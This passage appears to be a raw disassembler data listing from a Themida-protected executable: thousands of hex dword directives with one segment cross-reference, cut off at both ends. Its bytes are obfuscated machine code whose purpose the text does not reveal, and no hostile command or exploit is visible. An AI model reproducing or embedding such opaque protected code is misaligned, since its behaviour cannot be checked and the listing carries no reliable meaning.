998D8B0Ah, 6A07E413h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 1BEC353h, 0E41D25BDh dd 1E18307h, 1C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 6061A0C3h, 1A59D89h dd 0FEB907E4h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 303BC350h, 8D219D99h dd 7E40B69h, 23DDB58Bh, 8D2107E4h, 7E42385h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 33C35242h, 0E9900E1Dh dd 0B58968DCh, 7E4278Dh, 0B698D8Bh, 5E807E4h, 91000000h dd 0DB84E4B2h, 0BE9h, 0EB6E8D00h, 0F1635387h, 456AE418h dd 0B5BD895Eh, 8307E41Ch, 850F01E1h, 24h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A8C35242h, 7BE0A9D7h dd 0D18B81B5h, 23858D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0CE9D3C3h, 89000000h dd 919B619Ch, 55FFBBABh, 8369E1F8h, 850F01E1h, 1, 6A6061F9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0EE55C356h, 3FA7F371h, 0D585C7F8h, 0D007E42Ah dd 6A000007h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0A27C356h, 6A611EB5h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0E241C357h, 19C5950Bh, 0BD2307E4h, 7E43195h, 9D6107EBh dd 0E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0E54A2930h, 6A506Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E938B0C3h dd 75E9C18Bh, 60000000h, 0A8D88C66h, 35840F04h, 6A000000h dd 9DB5FF01h, 8D07E401h, 0E7B0A785h, 89D0FF07h, 0E40FA585h dd 0C1FE8B07h, 680CEFh, 6A200400h, 57026A00h, 1000D68h dd 0A595FF00h, 0E907E40Fh, 32h, 2C2D85C6h, 685607E4h, 0A9C530DFh dd 2141B5FFh, 858D07E4h, 7E7B0A7h, 8589D0FFh, 7E40B5Dh dd 1CE5858Dh, 6A5007E4h, 56056A20h dd 0B5D95FFh, 0C36107E4h, 0BA06E0C1h, 0F0115000h, 0EA81h dd 0C283F000h, 95958914h, 8307E41Bh, 858D14EAh, 7E86F4Eh dd 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Β%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 0DD8589C8h, 307E415h, 0B70F3C40h, 95890650h, 7E422E9h dd 8950508Bh, 0E41C5595h, 0F80507h, 508B0000h, 89D1030Ch dd 0E4092995h, 8500307h, 759589h, 8F6407E4h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 15DBD83h, 0F0007E4h, 2484h, 2D85C600h, 4707E42Ch, 9AA7D268h dd 41B5FFD4h, 8D07E421h, 0E7B0A785h, 6AD0FF07h, 89D0FF00h dd 0E4161585h, 60D38B07h, 3800F60h, 0F000000h, 8166F0BFh dd 61A3E6F6h, 8BFB8B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0AD707E06h, 0D003135h dd 55B58B07h, 0BE07E41Dh, 67DCB738h, 13F1BD83h, 750007E4h dd 35BD8309h, 7E409h, 53501974h, 38B8C08Bh, 89000004h dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh dd 17740007h, 38B85350h, 89000004h, 0E4147985h, 0DF9D8D07h dd 0FF07E6E6h, 6A585BD3h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 2710C350h, 0B50B9105h dd 7E40411h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0D6C35343h, 7C91323Ah, 0E87F2F95h, 8BC08BFCh, 0E43585BDh dd 866E807h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 5FE744C3h, 0AFA6AFEFh, 0F558D77h dd 68Bh, 8DBD8B00h, 0F07E422h, 68Eh, 0B9BD2300h, 8B07E400h dd 0E42FE1B5h, 59858907h, 8907E40Ah, 0E40B9D8Dh, 812E807h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0F755ACC3h, 0B00BE280h, 11E97Bh, 0EFE20000h dd 0D18ABC08h, 0E0CEE74Dh, 655F3D36h, 89D9CCBEh, 0E406A585h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 66FCB674h, 32FEE181h, 7ABE8h, 89B96600h dd 118589B4h, 6A07E418h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0A350C350h, 0CDACD735h dd 0E8C759C5h, 778h, 341C681h, 858949E2h, 7E40919h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0CAC35242h, 0B479E519h dd 0FE01A88h, 684h, 29B58B00h, 0E807E41Ch, 738h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 54C35646h, 659D895Bh dd 107E41Eh, 0E414DDBDh, 89F78B07h, 0E422FD85h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0DCE4A58h, 0DCE5FA75h, 6DEE804h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B1F70CC3h dd 0AA5B9B83h, 0F18B668Ah, 89FBBF0Fh, 0E4158185h, 5F506007h dd 0E8615A50h, 6A4h, 68F0Fh, 85890000h, 7E42009h, 1E158589h dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0E8F43CC3h, 0Fh, 0AEDBA021h, 77F1C840h, 0F670412Fh dd 6621A1FBh, 0E85FF18Bh, 658h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 35C35747h, 14428D92h, 0E4ED9185h dd 0AED8589h, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0E87B05C3h, 60Ch, 4B60BE66h, 2D58589h dd 10E907E4h, 0CE000000h, 6F24F55Ch, 6F8FA2EDh, 501D756Eh dd 0E8277426h, 5E8h, 14E8h, 0E5921D00h, 0A5825F24h, 12ECB50Ch dd 3CC75F8Fh, 0C2CC59E8h, 1810FEBh, 0F9000000h, 13E85Fh dd 6B040000h, 37227A7h, 8F515E1Dh, 0A14728A4h, 0E901D35h dd 19D896Dh, 5907E427h, 1D498589h, 0BF0F07E4h, 59AE8F1h dd 66600000h, 631DB81h, 4718589h, 896107E4h, 0E41E8D85h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0C3420220h, 0E8EE8A7Bh, 560h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C7C35141h, 7C8C66Ah dd 446DA8B8h, 9D29606Bh, 7E4093Dh, 68B0Fh, 0BD230000h dd 7E42AA5h, 91858961h, 8907E422h, 0E4009D85h, 2DB50107h dd 0E807E427h, 510h, 811AB966h, 1D5D8589h, 830F07E4h, 5 dd 4DAC4EBFh, 4F6E80Ah, 95290000h, 7E42AEDh, 2BF18589h dd 0BE907E4h, 9F000000h, 0F191216Dh, 990C497Eh, 0D5E83C31h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 8677C357h, 0E948896Bh, 0Fh, 8169C1C7h dd 0BECB9293h, 8099DD5Ah, 89D7F634h, 0E4063585h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0CC8A7923h, 6860FC5h, 8B000000h, 0E405798Dh, 0FAB70F07h dd 467E8h, 0C98D8B00h, 8907E421h, 0E40E1585h, 13E907h dd 0C5610000h, 7144C325h, 80A7FEC9h, 0F014CF32h, 75DEFB95h dd 2900B00Dh, 0E4014595h, 0D8B60F07h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 15C35343h, 7D69B573h, 0B2BE6641h dd 6BA49h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 9B8F2EC3h, 5800F6F7h, 66BDAAE4h dd 8B1AC1BEh, 0AE8C3h, 6CE10000h, 207A87CCh, 0EB251DE8h dd 0C15EF78Bh, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0CCB5ECC3h, 27CF5B1Eh, 0E058D89h dd 0F76607E4h, 53006AE2h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 20E41E7Fh, 58B12F32h dd 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 54E1DDC3h, 0FB40F795h, 0B150539Bh, 241C89D9h dd 0D2C98166h, 9195FF7Dh, 3107E42Dh, 0E4158D95h, 6A5B07h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 0E60903C3h, 0BD89A678h, 7E42FF5h, 1C0D958Dh, 6A07E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 2B1CCCC3h, 8936A1D6h, 0BD01501Ah, 7E422BDh, 442895Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h dd 87F8CB84h, 8B6625D6h, 49958DF0h, 6A07E403h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 8E34C352h, 89FCF17Fh, 0E43315BDh, 6A1A8907h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 375C357h, 68D0FCEh, 1000000h, 0E42D59B5h, 4428907h dd 8EE98166h, 0C5958DEFh, 6A07E425h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0A524C357h dd 1A893D3Eh, 89F98B66h, 6A0442h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0DBE790C3h, 95BD8B56h dd 5907E420h, 30498D2Bh, 958D07E4h, 7E42179h, 2A79B58Bh dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 5BC35646h, 3C4DE441h, 0F5A263AEh, 2899529h, 428907E4h dd 3DBD8904h, 0E907E424h, 0Dh, 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h dd 0D958D9Fh, 8B07E424h, 0E42B39BDh, 6A1A8907h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 5AEFC355h, 79798034h, 5DBD0190h, 8907E42Bh, 6A0442h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 45F6E2C3h, 518D8902h, 8B07E433h, 0E41E01BDh, 0C800F07h dd 0F000000h, 689h, 0ADBD8B00h, 8D07E42Ah, 0E40F2995h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 958921C4h, 7E40F19h, 0F1FCD7B9h, 6A1A893Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 471AC351h, 186A7943h, 2365BD8Bh, 428907E4h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0D18166D9h, 958D4D95h, 7E403F1h, 25ED8529h dd 1A8907E4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 40C35646h, 6650D8FEh, 895EF88Bh, 6A0442h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 631886C3h, 0DC4C2564h, 8529A8FDh, 7E414FDh, 0AD958Dh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0E72D8CC3h, 0A14473EEh, 57027214h, 0A1D9D89h dd 895F07E4h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 4289718Dh, 0A7C18104h, 0E97AE6A2h dd 0D3h, 0D6BF0F60h, 61CFB70Fh, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 4A351C3h dd 0E19B58Bh, 800F07E4h, 6, 1915B509h, 6A07E4h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E9A4D1C3h, 6, 9B9F84E8h, 0CE96627h, 96000000h, 191AB31Dh dd 1AB4C3D5h, 6AA97B74h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0D124E793h, 0FF272987h dd 0E40E6D95h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 5C6DF03Ch, 318D09F9h dd 0C307E42Ch, 6E9h, 91CA5700h, 8A69A364h, 6DBEC5h, 0C08B282Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CCC35747h dd 83FBB70Fh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h dd 8B535019h, 438B8C0h, 85890000h, 7E40EEDh, 0EA579D8Dh dd 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h, 438B853h dd 85890000h, 7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h, 68B5585Bh dd 11E9h, 0E3B72D00h, 0AA785AEBh, 73ABE989h, 5D4089F3h dd 6ABF26h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 20A224C3h, 0F28B6200h db 8Bh, 0C0h word_5C9EE6 dw 858Dh ; DATA XREF: Themida_:00583810o dd 7E40D85h, 32F5BD03h, 0BD8907E4h, 7E42EF1h, 6E850h, 1A280000h dd 184E9C00h, 2404895Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 6AC35545h, 70B58835h, 42058EDAh, 25CDBD8Bh dd 6A07E4h, 38C0Fh, 0D7800000h, 8B006A72h, 0E421759Dh dd 33858D07h, 2907E87Ch, 0E40BA995h, 5C08307h, 0E8B0Fh dd 1600000h, 0E421A18Dh, 4DBD0107h, 6107E42Bh, 8B665090h dd 6A90F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 72E251C3h, 68C0FF0h, 89000000h, 0E42F75BDh dd 33006A07h, 0E40EE19Dh, 6A006A07h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0FF0DC352h dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 42CE39F6h, 0F98B6617h dd 0D64B8D8Dh, 0B58907E7h, 7E4046Dh, 6AD1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D29D4C3h dd 7E41945h, 2015BD83h, 0F0107E4h, 9985h, 899D0900h, 6A07E408h dd 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 19D8938h, 6607E430h, 0CDC2DB81h, 0BE990h dd 0BA4F0000h, 7D5B543Fh, 0ED3A33CBh, 6E950BFh, 19000000h dd 795630D2h, 6A9007h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 4E3A7AC3h, 0FFB61A4Eh, 0E431AD95h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 448706B9h, 167DBD33h, 0FFE907E4h, 0E800000Dh dd 0 aBaSJ db ']ν=|θ',7,'j',0 db 53h, 0E8h, 3 dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0BC94C353h, 0FE99496h, 0F2000000h, 0AB80F677h, 7E0C58D8h dd 0CBB8403Eh, 6AE1ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0C5B161C3h, 9D8B4275h, 7E415D9h dd 0C6E1858Dh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 5F1802C3h, 40A3EDD6h, 6650B477h dd 489F98Bh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 35BF46D8h, 6443930Bh, 35FFh, 9D890000h dd 7E405BDh, 2245BD8Bh, 896407E4h, 25h, 11E900h, 367C0000h dd 6D834331h, 4C73D6BDh, 8B5FA332h, 0FF4288ECh, 0E420B985h dd 85BD2907h, 6A07E41Ch, 2840FFFh, 0B3000000h, 59B5FF5Dh dd 6A07E40Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 88D5C351h, 15606CD5h, 0C080605Ah dd 68D0F2Bh, 0F000000h, 82h, 95FF6100h, 7E4304Dh, 149E9h dd 518D3100h, 0B007E422h, 9E800h, 731E0000h, 70186DF4h dd 0FC6D2527h, 8170E65Fh, 2A35E4D7h, 6671E47Dh, 613CDF8Bh dd 11C830Fh, 0BD230000h, 7E40745h, 8BC8B60Fh, 0E40E61BDh dd 0CDBD8907h, 0BA07E425h, 6, 2B5D8529h, 0C18B07E4h, 0A95D8DBBh dd 4E8C13Dh, 3CDBF66h, 0FE2F766h, 0C82BFBBFh, 8E8h, 0FFEA5100h dd 66C989CAh, 5FD88B4Ah, 5753D18Bh, 5BFE8B66h, 29B5895Bh dd 0E907E402h, 20h, 31B99D89h, 0FE807E4h, 79000000h, 1933E23h dd 1E6E764Bh, 0D2965205h, 57BB27F7h, 5F226D59h, 1C0D858Bh dd 9D8B07E4h, 7E403DDh, 6E8h, 74AEC700h, 0E971642Fh, 0Dh dd 4703BC4Fh, 0B77EB792h, 0C01BF07Ah, 0C0835F81h, 2D8D0107h dd 8307E427h, 9D2B00C0h, 7E40191h, 830FD03Bh, 1Dh, 840Fh dd 53E90000h, 0F000000h, 68Ch, 0E5EB8100h, 817BB0D7h, 7CC73CC7h dd 858D8B3Fh, 0F07E423h, 289h, 83D0B300h, 840F01E1h, 2Ah dd 2ABD9589h, 890F07E4h, 6, 1FCBCF81h, 0A5836F0Bh, 7E42385h dd 8D9D09FEh, 8907E414h, 0E41C0D95h, 0E907h, 0B58D0000h dd 7E80F99h, 8A0F6060h, 0 dd 8061F38Ah, 6A612FE5h, 0AE900h, 0D1B10000h, 0F936D48Ah dd 0CB608250h, 0E4195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8B603EC3h, 0E38166DAh dd 0B961D947h, 6FAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0C3C35040h, 0CC6F5DABh, 8B0F4538h, 6 dd 35858D89h, 0E18307E4h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0D98B66D0h dd 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0B8E524h, 8B000000h, 0E40035BDh, 0FD22B07h dd 33ADDEBFh, 3E8D1C2h, 4E983D0h, 13E9F475h, 0E000000h dd 5DD68F33h, 0A416FAECh, 6B7A28C1h, 1039D00Dh, 0DA8BCBFBh dd 880Dh, 31953100h, 8B07E40Eh, 0E41B7195h, 89B58907h dd 8B07E423h, 0E42DA18Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 2FBC9BC6h dd 0C4FA4AFCh, 880FFFB8h, 14h, 0BE8h, 98305400h, 7927340Fh dd 0F1C57586h, 5B93D780h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 800F5818h, 4, 0AE26BB66h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 0CEC35040h, 5B43C9CCh dd 0B3DF36B2h, 11BD835Ah, 7E406h, 19840Fh, 0B80000h, 89000000h dd 0E415B19Dh, 0E78D8D07h, 8B07E44Fh, 0E405259Dh, 83E1FF07h dd 0E422B9BDh, 840F0007h, 4F4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0E9C35646h, 81667FACh, 831A62CBh dd 0E422B9BDh, 840F0107h, 4DFh, 0BD83DF8Bh, 7E422B9h, 9A860F03h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0E02CC355h, 9161F2E4h, 99D3360h dd 0E807E41Bh, 7, 0E6F37AE0h, 660DD3B2h, 6159F28Bh, 55006A60h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 813814B7h, 441499CBh, 0D88B6637h, 6AD98C66h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 664BC350h, 92F7E781h, 6A04E180h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0A26C356h dd 8D840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 11FC355h, 0C8B9595Fh dd 858BD88Bh, 7E40651h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 29C35343h, 77DCFE5Ch, 0DDE58530h, 0AE9h dd 96231100h, 86F476A1h, 3307AD9Ah, 0E4202985h, 0E7EF8107h dd 504A1EE0h, 489F98Ah, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 9A9D24F3h, 9576C92h, 0E41A11B5h dd 6AF807h, 2175BD89h, 0E95207E4h, 9, 6AD8FD4Ch, 9BA0E1F1h dd 0B3685BC6h, 0F2E640Fh, 148Fh, 0FE900h, 0ECE40000h, 0DD7C1913h dd 228F3F1Bh, 14ADA95Ah, 2434819Eh, 2E7B0C4Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B6C35141h, 0B11571B8h dd 36D48AD1h, 0FF98B66h, 95FFFAB7h, 7E42D99h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 83C35242h, 1836D5CAh dd 548A5133h, 8E8h, 0BB96AD00h, 0B8182578h, 28B0FF3h, 53000000h dd 85895F5Fh, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 38C35646h, 0A68A7B7Fh, 8C24F49Ch, 1BAE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F582437Ah, 0F89D858Bh, 958907E7h, 7E41925h dd 1800C7h, 0BD8B0000h, 7E42501h, 0F8A1B58Bh, 9D8907E7h dd 7E41B35h, 2D45BD03h, 858B07E4h, 7E40099h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h, 4FB320ABh dd 0F7E9A31h, 68Ah, 41BD8B00h, 8907E419h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0B3303502h, 0BE9E5B5Fh, 9DB589h, 0DA8B07E4h, 651858Bh dd 8D0907E4h, 7E41449h, 6A044689h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 5A0BC350h dd 96509618h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 1C35242h, 9F77E13Eh, 0B5FFD294h, 7E7F89Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h, 12E31071h dd 7C686DCCh, 0B3B968C0h, 24048159h, 46B64383h, 0A5858DF8h dd 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0B897C356h, 0BB556C58h, 5DE31ECAh dd 50DF8B90h, 3513BF66h, 50006A90h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0CF886F59h, 0E6BF9E6Ah dd 0FFFE8B66h, 0E42D9995h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8D31D38Dh dd 7E40705h, 61C2DB80h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 64C35040h, 0FB8B66A5h, 209AF4BBh, 0B985C734h dd 307E422h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0F7D2C356h, 60CF0227h dd 66D9D89h, 0B70F07E4h, 0BD8361D6h, 7E7F8A5h, 5E840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 1988C351h, 0BD293FCBh, 7E40A75h dd 4FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0E2554949h, 7E81D8Eh, 0EA000000h dd 4C9D8E62h, 0BD0BFDB4h, 7E41481h, 0C30505Fh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 89D4EB80h, 0E4228D8Dh dd 0B9BD8307h, 307E422h, 435850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 236BFC3h dd 14DF0888h, 19B19D89h, 0BF6607E4h, 0BD832925h, 7E7F8A5h dd 0FC840F00h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8B28C353h, 0E41B2D9Dh dd 0A5B5FF07h, 0E807E7F8h, 11h, 0A2EFDCD6h, 0BC805189h dd 0E13FAD42h, 7540B26h, 0EF8166C4h, 0FF5FAEABh, 0E4044D95h dd 41BD8907h, 8B07E41Bh, 0E7F899B5h, 106C707h, 33000100h dd 0E415219Dh, 8E0F9607h, 2, 8B5014B7h, 6A96FBh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 12AF5BC3h, 0A659D03h, 0B5FF07E4h, 7E7F8A5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D0C35141h, 7E95281h dd 0B7000000h, 920399DEh, 0FF5BBA1Bh, 0E42A0995h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BB66387Ah, 0B58B2038h, 7E7F899h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CCC35343h, 0E9104A72h dd 9, 0A230DE7Ch, 0F9C712F4h, 0C7816617h, 858BB915h, 7E43165h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h dd 958B60A0h, 7E41B0Dh, 64D9509h, 896107E4h, 0C486h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4728A48Fh, 958B35A1h, 7E41B71h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 28C35545h, 0CC8B7F08h, 510994h dd 79B5896Dh, 0F807E400h, 0F04C283h, 88h, 20508900h, 68A0Fh dd 95890000h, 7E41B8Dh, 0CD4858Dh, 952907E8h, 7E42FA9h dd 86896CB3h, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0A9C35040h, 338349EFh, 8D89C452h, 7E413A1h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 44347EC3h, 0B0C1DC10h, 1619D8Bh, 0B5FF07E4h dd 7E7F8A5h, 0A858D89h, 8B6607E4h, 0AD95FFDEh, 8907E431h dd 0E4128585h, 8B665007h, 243489DEh, 2C31BD8Bh, 0B5FF07E4h dd 7E7F8A5h, 0F28B6660h, 19D5BD31h, 816107E4h, 6AAECAEBh dd 1195FF6Dh, 8307E41Bh, 0E40DF9BDh, 840F0007h, 54h, 0DDB58B60h dd 2B07E41Dh, 0E42EC595h, 89506107h, 8B602434h, 0E41E59B5h dd 0AE807h, 0F03B0000h, 0C7359352h, 0F253C812h, 10E9h dd 0EEA37300h, 30E71FD7h, 0AE31BB95h, 8DED703Eh, 0E9615943h dd 10h, 9BAB312Eh, 8DB13963h, 0C23803DFh, 465E381Fh, 0F8A5B5FFh dd 0F38007E7h, 7D95FF1Eh, 6607E402h, 8783D381h, 0CD9BBF66h dd 0F8A5B5FFh, 6A07E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 7CA65C3h, 0CF4C7EAAh, 0E853F20Eh dd 0Dh, 2E5CF9AAh, 0C005740Ch, 1E3E94CBh, 0B0C38115h, 5B326B02h dd 205210BFh, 7195FF1Eh, 6A07E409h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8E30C356h dd 9D896003h, 7E40BA5h, 61C2B70Fh, 0A21BD83h, 0F0207E4h dd 6284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0FCD986D5h, 7ABB564Ch, 